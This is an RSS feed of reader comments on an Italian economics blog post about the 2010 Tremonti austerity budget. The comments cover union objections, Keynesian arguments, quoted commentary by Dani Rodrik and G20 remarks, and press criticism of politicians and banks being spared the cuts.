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	<title>Commenti a: Intervista radio sulla manovra economica</title>
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	<description>il coraggio di cambiare</description>
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		<title>Di: Fulvio</title>
		<link>http://www.piergiorgiogawronski.com/intervista-radio-sulla-manovra-economica/comment-page-1/#comment-299</link>
		<dc:creator>Fulvio</dc:creator>
		<pubDate>Wed, 23 Jun 2010 14:01:41 +0000</pubDate>
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		<description>INIQUITA&#039; 

Per la FIALP, la FLP, lo SNAPRECOM ed il CSA, organizzazioni sindacali firmatarie di 8 contratti di lavoro del pubblico impiego (Parastato, Ministeri, Agenzie Fiscali, Presidenza del Consiglio, Regioni Enti Locali, Area II, Area VI e Area VIII della dirigenza) l’iniquità sociale della cd manovra Tremonti si appalesa in tutta la sua evidenza: a sopportare quasi integralmente il peso del provvedimento saranno i dipendenti pubblici e, più in generale, le fasce a basso reddito che più di altre fanno affidamento sui servizi sanitari, sociali e scolastici di natura pubblica.

Gli stessi dati dell’ARAN comunicati il 9 giugno, che vorrebbero le retribuzioni del pubblico impiego aumentate del 37% negli ultimi dieci, anni sono ampiamente e volutamente falsati; in realtà il corretto tasso di incremento delle retribuzioni pubbliche nel decennio 1998 n-2008 è del 27% e si pone in
linea con l’inflazione del periodo; il dato fornito dall’ARaN è “gonfiato” dagli incrementi addotti da consulenze, missioni, e stipendi di alti dirigenti / managers.

La manovra, in particolare, presenta tre gravi errori di impostazione:
1. non tocca i veri sprechi del sistema pubblico, rappresentati principalmente dal costo esagerato di un sistema Istituzionale, divenuto un vero e proprio canale di finanziamento per coloro che a tutti i livelli svolgono attività politica, e che andrebbe ridimensionato nella struttura e nei costi;
2. non introduce modifiche del quadro generale delle entrate e delle uscite in grado di porsi come fattori strutturali di riequilibro del bilancio pubblico;
3. non propone un sistema di sacrifici che sia commisurato ai redditi (richiedendo un contributo di solidarietà ai redditi alti in favore dei redditi bassi), ma, in base ad una ratio tanto rozza quanto discutibile, si concentra solo sui dipendenti pubblici, prescindendo da una concreta valutazione della condizione economica degli stessi.

... 

Proposte:

1)
a) Abolizione delle Comunità Montane e ridimensionamento delle Province (trasformazione del Consiglio Provinciale in un Consiglio dei Sindaci dei Comuni della Provincia stessa);
b) abolizione di ogni forma di emolumento per coloro che assumono incarichi in sede provinciale e limitazione per legge del numero massimo di assessorati a non più di 4. Per entrambe queste tipologie di Enti è stato rilevato, ormai da anni, l’enorme sbilanciamento nel rapporto costi/benefici;
c) Riduzione del 20% di tutti gli emolumenti a qualunque titolo percepiti da coloro che rivestono cariche elettive, (Ministri e Sottosegretari, Parlamentari, Consiglieri Regionali, Provinciali, Comunali, etc. etc.) nell’anno 2010, con effetto immediato dal 2011 e ferme restando le altre misure già previste nel Decreto;
d) Eliminazione di ogni tipo di rimborso forfettario accordato senza documentazione giustificativa a coloro che rivestono incarichi elettivi;
e) Riduzione del finanziamento pubblico ai partiti del 50% (e non del 10% come attualmente previsto) immediatamente in vigore e non dalla prossima legislatura;
f) Riduzione del 50% del parco complessivo delle “auto blu”.

2)
a) Riduzione delle spese di Funzionamento degli Organi di rilevanza costituzionale del 20%;
b) Reintroduzione dell’ICI su ville e appartamenti di lusso;
c) Introduzione di una tassa sulle imbarcazioni (escluse quelle per la pesca e per il trasporto pubblico o privato di passeggeri);
d) Prelievo aggiuntivo sui capitali rientrati a seguito dello “scudo fiscale”;
e) Revisione dei canoni accordati alle società private di riscossione di introiti da tassazione e/o del recupero credito derivante da tassazione;
f) Revisione dei canoni di concessione su strade, autostrade, trafori e beni demaniali;
g) Aumento delle aliquote fiscali sulle rendite finanziarie;
h) Cedolare secca del 20% sugli affitti di immobili;
i) Previsione di un serio piano di lotta all’evasione fiscale, con l’introduzione di un redditometro a riscossione immediata e la reintroduzione di tutte le norme sulla tracciabilità abrogate;
j) Vendita all’asta delle frequenze liberate dal passaggio al digitale terrestre;

3)
a) Rimozione del blocco dei contratti pubblici (…);
d) Introduzione di un contributo fiscale di solidarietà su tutti i redditi da lavoro autonomo o dipendente superiori agli 80.000 euro annui;
(...)

Roma li 16/06/2010</description>
		<content:encoded><![CDATA[<p>INIQUITA&#8217; </p>
<p>Per la FIALP, la FLP, lo SNAPRECOM ed il CSA, organizzazioni sindacali firmatarie di 8 contratti di lavoro del pubblico impiego (Parastato, Ministeri, Agenzie Fiscali, Presidenza del Consiglio, Regioni Enti Locali, Area II, Area VI e Area VIII della dirigenza) l’iniquità sociale della cd manovra Tremonti si appalesa in tutta la sua evidenza: a sopportare quasi integralmente il peso del provvedimento saranno i dipendenti pubblici e, più in generale, le fasce a basso reddito che più di altre fanno affidamento sui servizi sanitari, sociali e scolastici di natura pubblica.</p>
<p>Gli stessi dati dell’ARAN comunicati il 9 giugno, che vorrebbero le retribuzioni del pubblico impiego aumentate del 37% negli ultimi dieci, anni sono ampiamente e volutamente falsati; in realtà il corretto tasso di incremento delle retribuzioni pubbliche nel decennio 1998 n-2008 è del 27% e si pone in<br />
linea con l’inflazione del periodo; il dato fornito dall’ARaN è “gonfiato” dagli incrementi addotti da consulenze, missioni, e stipendi di alti dirigenti / managers.</p>
<p>La manovra, in particolare, presenta tre gravi errori di impostazione:<br />
1. non tocca i veri sprechi del sistema pubblico, rappresentati principalmente dal costo esagerato di un sistema Istituzionale, divenuto un vero e proprio canale di finanziamento per coloro che a tutti i livelli svolgono attività politica, e che andrebbe ridimensionato nella struttura e nei costi;<br />
2. non introduce modifiche del quadro generale delle entrate e delle uscite in grado di porsi come fattori strutturali di riequilibro del bilancio pubblico;<br />
3. non propone un sistema di sacrifici che sia commisurato ai redditi (richiedendo un contributo di solidarietà ai redditi alti in favore dei redditi bassi), ma, in base ad una ratio tanto rozza quanto discutibile, si concentra solo sui dipendenti pubblici, prescindendo da una concreta valutazione della condizione economica degli stessi.</p>
<p>&#8230; </p>
<p>Proposte:</p>
<p>1)<br />
a) Abolizione delle Comunità Montane e ridimensionamento delle Province (trasformazione del Consiglio Provinciale in un Consiglio dei Sindaci dei Comuni della Provincia stessa);<br />
b) abolizione di ogni forma di emolumento per coloro che assumono incarichi in sede provinciale e limitazione per legge del numero massimo di assessorati a non più di 4. Per entrambe queste tipologie di Enti è stato rilevato, ormai da anni, l’enorme sbilanciamento nel rapporto costi/benefici;<br />
c) Riduzione del 20% di tutti gli emolumenti a qualunque titolo percepiti da coloro che rivestono cariche elettive, (Ministri e Sottosegretari, Parlamentari, Consiglieri Regionali, Provinciali, Comunali, etc. etc.) nell’anno 2010, con effetto immediato dal 2011 e ferme restando le altre misure già previste nel Decreto;<br />
d) Eliminazione di ogni tipo di rimborso forfettario accordato senza documentazione giustificativa a coloro che rivestono incarichi elettivi;<br />
e) Riduzione del finanziamento pubblico ai partiti del 50% (e non del 10% come attualmente previsto) immediatamente in vigore e non dalla prossima legislatura;<br />
f) Riduzione del 50% del parco complessivo delle “auto blu”.</p>
<p>2)<br />
a) Riduzione delle spese di Funzionamento degli Organi di rilevanza costituzionale del 20%;<br />
b) Reintroduzione dell’ICI su ville e appartamenti di lusso;<br />
c) Introduzione di una tassa sulle imbarcazioni (escluse quelle per la pesca e per il trasporto pubblico o privato di passeggeri);<br />
d) Prelievo aggiuntivo sui capitali rientrati a seguito dello “scudo fiscale”;<br />
e) Revisione dei canoni accordati alle società private di riscossione di introiti da tassazione e/o del recupero credito derivante da tassazione;<br />
f) Revisione dei canoni di concessione su strade, autostrade, trafori e beni demaniali;<br />
g) Aumento delle aliquote fiscali sulle rendite finanziarie;<br />
h) Cedolare secca del 20% sugli affitti di immobili;<br />
i) Previsione di un serio piano di lotta all’evasione fiscale, con l’introduzione di un redditometro a riscossione immediata e la reintroduzione di tutte le norme sulla tracciabilità abrogate;<br />
j) Vendita all’asta delle frequenze liberate dal passaggio al digitale terrestre;</p>
<p>3)<br />
a) Rimozione del blocco dei contratti pubblici (…);<br />
d) Introduzione di un contributo fiscale di solidarietà su tutti i redditi da lavoro autonomo o dipendente superiori agli 80.000 euro annui;<br />
(&#8230;)</p>
<p>Roma li 16/06/2010</p>
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	<item>
		<title>Di: Carolina</title>
		<link>http://www.piergiorgiogawronski.com/intervista-radio-sulla-manovra-economica/comment-page-1/#comment-296</link>
		<dc:creator>Carolina</dc:creator>
		<pubDate>Thu, 17 Jun 2010 11:18:08 +0000</pubDate>
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		<description>Le misure europee non sembrano avere effetto sulla crisi, dato che proprio oggi gli spread fra tassi spagnoli (italiani, portoghesi) e tedeschi hanno raggiunto i massimi. Secondo la BRI l&#039;esposizione delle banche straniere alla Grecia, SPagna e Portogallo soltanto ammonterebbe a 2 trililoni. Le banche europee hanno smesso di fidarsi l&#039;una dell&#039;altra e non si prestano più sul mercato interbancario. A questo punto mi domando se non cominci a essere troppo tardi per una strategia di mera &quot;reflazione&quot; dell&#039;economia reale (ma i governanti europei stanno facendo il contrario!), temo che bisognerà anche intervenire a sostegno delle banche. Insomma la strategia europea è UN DISASTRO!!</description>
		<content:encoded><![CDATA[<p>Le misure europee non sembrano avere effetto sulla crisi, dato che proprio oggi gli spread fra tassi spagnoli (italiani, portoghesi) e tedeschi hanno raggiunto i massimi. Secondo la BRI l&#8217;esposizione delle banche straniere alla Grecia, SPagna e Portogallo soltanto ammonterebbe a 2 trililoni. Le banche europee hanno smesso di fidarsi l&#8217;una dell&#8217;altra e non si prestano più sul mercato interbancario. A questo punto mi domando se non cominci a essere troppo tardi per una strategia di mera &#8220;reflazione&#8221; dell&#8217;economia reale (ma i governanti europei stanno facendo il contrario!), temo che bisognerà anche intervenire a sostegno delle banche. Insomma la strategia europea è UN DISASTRO!!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: piergiorgiogawronski</title>
		<link>http://www.piergiorgiogawronski.com/intervista-radio-sulla-manovra-economica/comment-page-1/#comment-282</link>
		<dc:creator>piergiorgiogawronski</dc:creator>
		<pubDate>Sat, 12 Jun 2010 01:40:26 +0000</pubDate>
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		<description>La tesi dei keynesiani è stata illustrata di nuovo proprio ieri da Dani Rodrick in un articolo molto lucido dal titolo: &quot;Who lost Europe?&quot; 
http://www.project-syndicate.org/commentary/rodrik44/English</description>
		<content:encoded><![CDATA[<p>La tesi dei keynesiani è stata illustrata di nuovo proprio ieri da Dani Rodrick in un articolo molto lucido dal titolo: &#8220;Who lost Europe?&#8221;<br />
<a href="http://www.project-syndicate.org/commentary/rodrik44/English" rel="nofollow">http://www.project-syndicate.org/commentary/rodrik44/English</a></p>
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	</item>
	<item>
		<title>Di: piergiorgiogawronski</title>
		<link>http://www.piergiorgiogawronski.com/intervista-radio-sulla-manovra-economica/comment-page-1/#comment-281</link>
		<dc:creator>piergiorgiogawronski</dc:creator>
		<pubDate>Sat, 12 Jun 2010 01:37:20 +0000</pubDate>
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		<description>Concordo con la tua conclusione, Fabio: la manovra non è strutturale, e la riforma dello Stato (quella seria, delle razionalizzazioni) non è neppure abbozzata. Finora si spremono come limoni i ceti mediobassi, incredibile ma vero. Solo che epiù di tanto costoro non possono dare... 
Mi permetto invece di dissentire con la tua sfiducia nelle manovre di stabilizzazione keynesiane. Non siamo in un territorio nuovo, &quot;we have been here before!&quot;, e la fretta di tagliare i bilanci pubblici già si dimostrò dannosa nel 1931... (ti consiglio in proposito una lettura del bellissimo libro &quot;Lords of finance. The bankers who broke the world&quot; By Liaquat Ahamed).
Certo, mi riferisco alla Germania, alla Francia, alla Gran Bretagna, insomma ai paesi seri. Noi italiani non abbiamo molte scelte; ma una ce l&#039;avremmo. Invece di fare una tantum che colpiscono i redditi di oggi (mentre le imprese già non trovano acquirenti), dovremmo fare una grande riforma strutturale della spesa pubblica, i cui effetti inizino nel 2013, o anche subito se compensata da una tantum espansive (riduzioni dell&#039;IVA e simili). Almeno, noi keynesiani la pensiamo così!</description>
		<content:encoded><![CDATA[<p>Concordo con la tua conclusione, Fabio: la manovra non è strutturale, e la riforma dello Stato (quella seria, delle razionalizzazioni) non è neppure abbozzata. Finora si spremono come limoni i ceti mediobassi, incredibile ma vero. Solo che epiù di tanto costoro non possono dare&#8230;<br />
Mi permetto invece di dissentire con la tua sfiducia nelle manovre di stabilizzazione keynesiane. Non siamo in un territorio nuovo, &#8220;we have been here before!&#8221;, e la fretta di tagliare i bilanci pubblici già si dimostrò dannosa nel 1931&#8230; (ti consiglio in proposito una lettura del bellissimo libro &#8220;Lords of finance. The bankers who broke the world&#8221; By Liaquat Ahamed).<br />
Certo, mi riferisco alla Germania, alla Francia, alla Gran Bretagna, insomma ai paesi seri. Noi italiani non abbiamo molte scelte; ma una ce l&#8217;avremmo. Invece di fare una tantum che colpiscono i redditi di oggi (mentre le imprese già non trovano acquirenti), dovremmo fare una grande riforma strutturale della spesa pubblica, i cui effetti inizino nel 2013, o anche subito se compensata da una tantum espansive (riduzioni dell&#8217;IVA e simili). Almeno, noi keynesiani la pensiamo così!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: Fabio Scacciavillani</title>
		<link>http://www.piergiorgiogawronski.com/intervista-radio-sulla-manovra-economica/comment-page-1/#comment-278</link>
		<dc:creator>Fabio Scacciavillani</dc:creator>
		<pubDate>Fri, 11 Jun 2010 13:21:57 +0000</pubDate>
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		<description>Io credo che questa crisi economica gravissima richieda degli interventi molto piu&#039; profondi delle ricette macroeconomiche di breve periodo a cui siamo abituati a pensare.

Di solito le politiche di stabilizzazione sono un mix di misure fiscali e  monetarie. Oggi e&#039; invece il ruolo dello stato che deve essere ridefinito. Non e&#039; aumentando le tasse o tagliando (piu&#039; o meno fittiziamente) le spese che si risolve questa crisi che e&#039; soprattutto un fenomeno epocale perche&#039; troppi paesi inclusa l&#039;Italia hanno vissuto ben al di sopra dei propri mezzi. Adesso i debiti sono venuti a scadenza. Quindi bisogna decidere quali funzioni dello Stato sono essenziali (sanita&#039;, istruzione, giustizia, difesa) e quali debbano essere drasticamente ridimensionate, o rese molto piu&#039; efficienti. 
Su questo non ci sono ripsoste facili e soprattutto non ci sono ricette macroeconomiche classiche. Saranno in parte swcelte politiche, cioe&#039; il risultato dello scontro di interessi tra i gruppi sociali, in parte dettate dalla necessita&#039;.

Ma se qualcuno crede che una manovretta da 26 miliardi (su 1.8 trilioni di debtio pubblico) possa avere un impatto significativo (nel bene o nel male) avra&#039; delle amare sorprese. Il processo di stabilizzazione economica non e&#039; nemmeno cominciato.</description>
		<content:encoded><![CDATA[<p>Io credo che questa crisi economica gravissima richieda degli interventi molto piu&#8217; profondi delle ricette macroeconomiche di breve periodo a cui siamo abituati a pensare.</p>
<p>Di solito le politiche di stabilizzazione sono un mix di misure fiscali e  monetarie. Oggi e&#8217; invece il ruolo dello stato che deve essere ridefinito. Non e&#8217; aumentando le tasse o tagliando (piu&#8217; o meno fittiziamente) le spese che si risolve questa crisi che e&#8217; soprattutto un fenomeno epocale perche&#8217; troppi paesi inclusa l&#8217;Italia hanno vissuto ben al di sopra dei propri mezzi. Adesso i debiti sono venuti a scadenza. Quindi bisogna decidere quali funzioni dello Stato sono essenziali (sanita&#8217;, istruzione, giustizia, difesa) e quali debbano essere drasticamente ridimensionate, o rese molto piu&#8217; efficienti.<br />
Su questo non ci sono ripsoste facili e soprattutto non ci sono ricette macroeconomiche classiche. Saranno in parte swcelte politiche, cioe&#8217; il risultato dello scontro di interessi tra i gruppi sociali, in parte dettate dalla necessita&#8217;.</p>
<p>Ma se qualcuno crede che una manovretta da 26 miliardi (su 1.8 trilioni di debtio pubblico) possa avere un impatto significativo (nel bene o nel male) avra&#8217; delle amare sorprese. Il processo di stabilizzazione economica non e&#8217; nemmeno cominciato.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: Paolo G</title>
		<link>http://www.piergiorgiogawronski.com/intervista-radio-sulla-manovra-economica/comment-page-1/#comment-269</link>
		<dc:creator>Paolo G</dc:creator>
		<pubDate>Thu, 10 Jun 2010 12:29:16 +0000</pubDate>
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		<description>Le stesse tesi qui:

Who Lost Europe?, by Dani Rodrik, Commentary, Project Syndicate: 

...Having suffered a deeper economic collapse in 2009 than the United States did, Europe’s economy is poised for a much more sluggish recovery... European leaders have so far offered no solution to the growth conundrum other than belt tightening. The reasoning seems to be that growth requires market confidence, which ... requires fiscal retrenchment. As Angela Merkel puts it, “growth can’t come at the price of high state budget deficits.”
  
But trying to redress budget deficits in the midst of a collapse in domestic demand makes problems worse, not better. ... In fact, it sets in motion a vicious cycle. The poorer an economy’s growth prospects, the larger the fiscal correction and deleveraging needed to convince markets of underlying solvency. But the greater the fiscal correction and private-sector deleveraging, the worse growth prospects become. The best way to get rid of debt (short of default) is to grow out of it.

So Europe needs a short-term growth strategy... The greatest obstacle to implementing such a strategy is the EU’s largest economy and its putative leader: Germany. ... What makes this perverse is that Germany runs a huge current-account surplus..., 5.5% of GDP in 2010,... not far behind China’s 6.2%. So Germany has to thank deficit countries like the US, or Spain and Greece in Europe, for propping up its industries and preventing its unemployment rate from rising further. ...Germany is not only failing to do its fair share, but is free-riding on other countries’...

Germany’s refusal to boost domestic demand and reduce its external surplus, along with its insistence on conservative inflation targets for the ECB, severely undercuts prospects for European prosperity and unity. It virtually guarantees that Greece, Spain, and others with large private and public debts will be condemned to years of economic decline and high unemployment. At some point, these countries may well choose to default on their external obligations rather than endure the pain.

Germany’s leaders may take comfort in lecturing other governments about their profligacy. And it is true that some, like the Greek government, ran too-high deficits during the good times and endangered their future. But what about Spain or Ireland, where the borrowers were not the government but the private sector? If others borrowed too much, doesn’t it follow that Germans lent excessively?

If Germany wants the rest of Europe to swallow the bitter pill of fiscal retrenchment, it will eventually have to recognize the implicit quid pro quo. It must pledge to boost domestic expenditures, reduce its external surplus, and accept an increase in the ECB’s inflation target. The sooner Germany fulfills its side of the bargain, the better it will be for everyone.</description>
		<content:encoded><![CDATA[<p>Le stesse tesi qui:</p>
<p>Who Lost Europe?, by Dani Rodrik, Commentary, Project Syndicate: </p>
<p>&#8230;Having suffered a deeper economic collapse in 2009 than the United States did, Europe’s economy is poised for a much more sluggish recovery&#8230; European leaders have so far offered no solution to the growth conundrum other than belt tightening. The reasoning seems to be that growth requires market confidence, which &#8230; requires fiscal retrenchment. As Angela Merkel puts it, “growth can’t come at the price of high state budget deficits.”</p>
<p>But trying to redress budget deficits in the midst of a collapse in domestic demand makes problems worse, not better. &#8230; In fact, it sets in motion a vicious cycle. The poorer an economy’s growth prospects, the larger the fiscal correction and deleveraging needed to convince markets of underlying solvency. But the greater the fiscal correction and private-sector deleveraging, the worse growth prospects become. The best way to get rid of debt (short of default) is to grow out of it.</p>
<p>So Europe needs a short-term growth strategy&#8230; The greatest obstacle to implementing such a strategy is the EU’s largest economy and its putative leader: Germany. &#8230; What makes this perverse is that Germany runs a huge current-account surplus&#8230;, 5.5% of GDP in 2010,&#8230; not far behind China’s 6.2%. So Germany has to thank deficit countries like the US, or Spain and Greece in Europe, for propping up its industries and preventing its unemployment rate from rising further. &#8230;Germany is not only failing to do its fair share, but is free-riding on other countries’&#8230;</p>
<p>Germany’s refusal to boost domestic demand and reduce its external surplus, along with its insistence on conservative inflation targets for the ECB, severely undercuts prospects for European prosperity and unity. It virtually guarantees that Greece, Spain, and others with large private and public debts will be condemned to years of economic decline and high unemployment. At some point, these countries may well choose to default on their external obligations rather than endure the pain.</p>
<p>Germany’s leaders may take comfort in lecturing other governments about their profligacy. And it is true that some, like the Greek government, ran too-high deficits during the good times and endangered their future. But what about Spain or Ireland, where the borrowers were not the government but the private sector? If others borrowed too much, doesn’t it follow that Germans lent excessively?</p>
<p>If Germany wants the rest of Europe to swallow the bitter pill of fiscal retrenchment, it will eventually have to recognize the implicit quid pro quo. It must pledge to boost domestic expenditures, reduce its external surplus, and accept an increase in the ECB’s inflation target. The sooner Germany fulfills its side of the bargain, the better it will be for everyone.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: piergiorgiogawronski</title>
		<link>http://www.piergiorgiogawronski.com/intervista-radio-sulla-manovra-economica/comment-page-1/#comment-264</link>
		<dc:creator>piergiorgiogawronski</dc:creator>
		<pubDate>Mon, 07 Jun 2010 21:03:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1730#comment-264</guid>
		<description>Le due visioni della politica economica, quella neo hooveriana (stile 1930) della Merkel (e dell&#039;Europa), e quella neokeynesiana di Obama sono emerse con chiarezza al G20. Riportano le agenzie: 

European Central Bank President Jean- Claude Trichet and Treasury Secretary Timothy F. Geithner diverged on prescriptions to sustain growth, with Europe set to tighten budgets and the U.S. seeking stronger domestic demand. 

The impact of narrower budget gaps “on growth could not be considered negative because it would improve confidence,” Trichet told reporters yesterday after meeting with Group of 20 finance chiefs in Busan, South Korea. The need for such action is clear in “old industrialized economies,” he said.

Geithner invece: &quot;...achieving a strong and sustainable global recovery requires that we make further progress on rebalancing global demand. ... In this context, we are concerned by the projected weakness in domestic demand in Europe and Japan...&quot; 

Ma in Europa sono tutti contenti che l&#039;Euro scende, scaricando sulle esportazioni e sugli USA i problemi. “I see good news from the current euro-dollar rate,” French Prime Minister Francois Fillon told reporters in Paris June 4... Che il debito estero USA sia una delle cause all&#039;origine della crisi globale, non è un pensiero che li sfiora!

La assurdità di questa strategia economica europea comincia ad essere rilevata dagli economisti di mezzo mondo: 
http://www.eurointelligence.com/index.php?id=581&amp;tx_ttnews[tt_news]=2811&amp;tx_ttnews[backPid]=901&amp;cHash=9247ee6091

E anche Paul Krugman non è tenero: il titolo del suo ultimo post si intitola &quot;Pazzi al volante&quot; : http://krugman.blogs.nytimes.com/2010/06/07/madmen-in-authority/

Quanto all&#039;Italia, la manovra corretta sarebbe quella di fare tagli strutturali uniti a &quot;una tantum&quot; di sostegno ... Invece la manovra di Tremonti si basa su tagli e tasse una tantum... 

Non è questo che fa il bene dei nostri paesi, non è questo che i mercati vogliono. Come faremo a farlo capire ai nostri governanti?</description>
		<content:encoded><![CDATA[<p>Le due visioni della politica economica, quella neo hooveriana (stile 1930) della Merkel (e dell&#8217;Europa), e quella neokeynesiana di Obama sono emerse con chiarezza al G20. Riportano le agenzie: </p>
<p>European Central Bank President Jean- Claude Trichet and Treasury Secretary Timothy F. Geithner diverged on prescriptions to sustain growth, with Europe set to tighten budgets and the U.S. seeking stronger domestic demand. </p>
<p>The impact of narrower budget gaps “on growth could not be considered negative because it would improve confidence,” Trichet told reporters yesterday after meeting with Group of 20 finance chiefs in Busan, South Korea. The need for such action is clear in “old industrialized economies,” he said.</p>
<p>Geithner invece: &#8220;&#8230;achieving a strong and sustainable global recovery requires that we make further progress on rebalancing global demand. &#8230; In this context, we are concerned by the projected weakness in domestic demand in Europe and Japan&#8230;&#8221; </p>
<p>Ma in Europa sono tutti contenti che l&#8217;Euro scende, scaricando sulle esportazioni e sugli USA i problemi. “I see good news from the current euro-dollar rate,” French Prime Minister Francois Fillon told reporters in Paris June 4&#8230; Che il debito estero USA sia una delle cause all&#8217;origine della crisi globale, non è un pensiero che li sfiora!</p>
<p>La assurdità di questa strategia economica europea comincia ad essere rilevata dagli economisti di mezzo mondo:<br />
<a href="http://www.eurointelligence.com/index.php?id=581&#038;tx_ttnewstt_news=2811&#038;tx_ttnewsbackPid=901&#038;cHash=9247ee6091" rel="nofollow">http://www.eurointelligence.com/index.php?id=581&#038;tx_ttnewstt_news=2811&#038;tx_ttnewsbackPid=901&#038;cHash=9247ee6091</a></p>
<p>E anche Paul Krugman non è tenero: il titolo del suo ultimo post si intitola &#8220;Pazzi al volante&#8221; : <a href="http://krugman.blogs.nytimes.com/2010/06/07/madmen-in-authority/" rel="nofollow">http://krugman.blogs.nytimes.com/2010/06/07/madmen-in-authority/</a></p>
<p>Quanto all&#8217;Italia, la manovra corretta sarebbe quella di fare tagli strutturali uniti a &#8220;una tantum&#8221; di sostegno &#8230; Invece la manovra di Tremonti si basa su tagli e tasse una tantum&#8230; </p>
<p>Non è questo che fa il bene dei nostri paesi, non è questo che i mercati vogliono. Come faremo a farlo capire ai nostri governanti?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: Aldo C</title>
		<link>http://www.piergiorgiogawronski.com/intervista-radio-sulla-manovra-economica/comment-page-1/#comment-263</link>
		<dc:creator>Aldo C</dc:creator>
		<pubDate>Mon, 07 Jun 2010 00:23:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1730#comment-263</guid>
		<description>Cosa pensi dell&#039;equità di questa manovra? 

Gli intoccabili: ecco chi non paga. La manovra salva solo i privilegiati

La manovra è servita: ci sono quelli che pagano, quelli che protestano, quelli che potrebbero caricarsi il peso dei sacrifici ma non lo faranno. Salvo colpi di scena. Di sicuro non sfuggiranno gli statali, che dovranno «resistere» qualche mese in più prima di andare in pensione e accettare una liquidazione a rate. Quelli che restano nei loro uffici avranno la vita più difficile visto che le assunzioni sono bloccate.

Ci sono poi quelli che non pagano. Innanzitutto le banche. Tassate in mezzo mondo ma non in Italia. Poi i politici. «Daremo il buon esempio», hanno detto deputati, senatori e ministri. Per alcune settimane non si è parlato d’altro: la norma, inserita nella bozza della manovra, prevedeva di ridurre del dieci per cento la parte di stipendio dei parlamentari sopra gli ottanta mila euro. Ma è stata depennata. Del resto Camera e Senato dispongono dell’autonomia di bilancio. Dovranno decidere loro se e quanto tagliare gli stipendi.

Eppure nella manovra del governo un articolo intitolato «Riduzione dei costi degli apparati politici» c’è, come anche il tanto discusso taglio del dieci per cento. Ma riguarda soltanto gli esponenti di governo «che non sono membri del Parlamento nazionale». Meglio di niente, si penserà. Il punto è che ministri e sottosegretari che non sono stati eletti sono dieci. Bello sforzo. Non resta che sperare che i presidenti Fini e Schifani prendano in mano le forbici nei prossimi giorni. Poi ci sono i magistrati. Quelli in servizio da tempo guadagnano tanto ma non vogliono riduzioni e sbraitano contro il governo. Inoltre c’è la questione delle toghe più giovani che rischiano di pagare il conto più salato. Non solo: protestano i medici e i farmacisti. Se a questo si aggiunge che le Regioni, a cui hanno tagliato i trasferimenti, non si risparmiano leggine per promuovere i dipendenti, allora il quadro è completo. Piove sempre sul bagnato.


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POLITICI: invocano tagli ma solo sulla carta - In principio, quando ancora si stava lavorando alla manovra anticrisi, sembrava di assistere ad una gara a chi la sparava più grossa: i politici erano tutti in prima linea, ben disposti a mettere le mani nel portafogli. Nel loro, per una volta. Ad aprire le danze Roberto Calderoli: «Proporrò in sede di governo, quando affronteremo la manovra finanziaria, un taglio almeno del 5 per cento agli stipendi dei ministri e dei parlamentari come hanno fatto in Inghilterra e Portogallo», aveva detto il ministro della Semplificazione legislativa. «I tagli alle spese comporteranno sacrifici per tutti, i politici devono dare il buon esempio», aveva aggiunto.

Giulio Tremonti, che l’entità di quei sacrifici la conosceva, aveva replicato a suo modo: «Il 5 per cento? Mi viene da sorridere. Per me è solo un aperitivo». Giù allora con la corsa al rilancio. Gli italiani non credevano alle loro orecchie. «Via il 10 per cento degli stipendi», proponeva Daniela Santanchè, sottosegretario all’Attuazione del programma di governo. «Ho intenzione di proporre ai capigruppo e al consiglio dei ministri di devolvere un mese di stipendio della politica in caso di ulteriori sacrifici richiesti ai cittadini», rilanciava Ignazio La Russa, ministro della Difesa. Applausi. «Due mensilità», superava Maurizio Gasparri, capogruppo Pdl alla Camera. Tutti in piedi. «Tre mensilità e non per demagogia» strillava Gianfranco Rotondi, ministro per l’Attuazione del programma. Standing ovation.

Nel frattempo cominciava a circolare una bozza provvisoria della manovra. Le prime indiscrezioni facevano ben sperare: tagli a tutti gli organi costituzionali compreso il Quirinale. Ridotte del dieci per cento le indennità di deputati e senatori, azzerate quelle per le commissioni ministeriali. Scure su consulenze, auto blu, cocktail e ricevimenti. Sembrava quasi che il monito di Napolitano, che aveva predicato sacrifici distribuiti con equità tra tutti i cittadini - nessuno escluso -, fosse stato rispettato. E invece no.

Quando la manovra viene presentata, si scopre che a pagarla saranno i cittadini, gli statali, i pensionati, i turisti. La norma, inserita nella bozza della manovra, che prevedeva di ridurre del dieci per cento la parte di stipendio dei parlamentari sopra gli ottanta mila euro è stata depennata. Camera e Senato dispongono, infatti, dell’autonomia di bilancio. Dovranno decidere loro se e quanto tagliare agli stipendi dei loro membri. Il provvedimento non può essere contenuto nel decreto legge del governo sulla manovra.

In realtà, un articolo intitolato «Riduzione dei costi degli apparati politici» esiste. È il numero quattro. Esiste pure il tanto discusso taglio del dieci per cento: avranno stipendi più bassi gli esponenti di governo «che non sono membri del Parlamento nazionale». A conti fatti, sono dieci persone: Gianni Letta, Guido Bertolaso, Giancarlo Galan, Ferruccio Fazio, Bartolomeo Giachino, Giuseppe Pizza, Francesco Belsito, Enzo Scotti, Giuseppe Reina e Daniela Santanché, che è l’unica ad essere stata accontentata.

BANCHE: Non ne vogliono sapere di ridurre i costi - A fare da apripista è stato il presidente americano Barack Obama che come misura anticrisi ha messo a punto una tassa sulle banche tale da ricavare fino a 120 miliardi di dollari. L’obiettivo è recuperare le somme sborsate dal governo per affrontare la crisi e ridurre il deficit. L’operazione americana però ha avuto scarso seguito in Europa. Al momento ci sono solo delle dichiarazioni di intenti da parte di Francia e Germania ma nulla di più. La riunione di martedì dell’Ecofin dovrebbe affrontare il tema ma nella prospettiva di creare con il gettito dell’imposta un fondo per finanziare i possibili salvataggi futuridi banche in difficoltà.

E in Italia? Nella manovra economica di Tremonti non c’è traccia di interventi sulle banche. Gli istituti fanno parte di quella categoria di intoccabili che vengono puntualmente risparmiati dalle operazioni contro la crisi. Eppure le commissioni bancarie non conoscono crisi.

Lo stesso Governatore di Bankitalia Mario Draghi è più volte intervenuto sui costi delle attività degli istituti. Da una relazione della Commissione europea su questo tema emerge che l’Italia è tra i paesi i cui cittadini spendono di più per la gestione dei conti correnti e, assieme ad Austria, Francia e Spagna, presenta risultati insoddisfacenti in materia di trasparenza. Tra i problemi specifici vi sono le informazioni che in molti casi sono di difficile comprensione, costi bancari opachi, problemi con la consulenza e un livello piuttosto basso di cambio di banche.

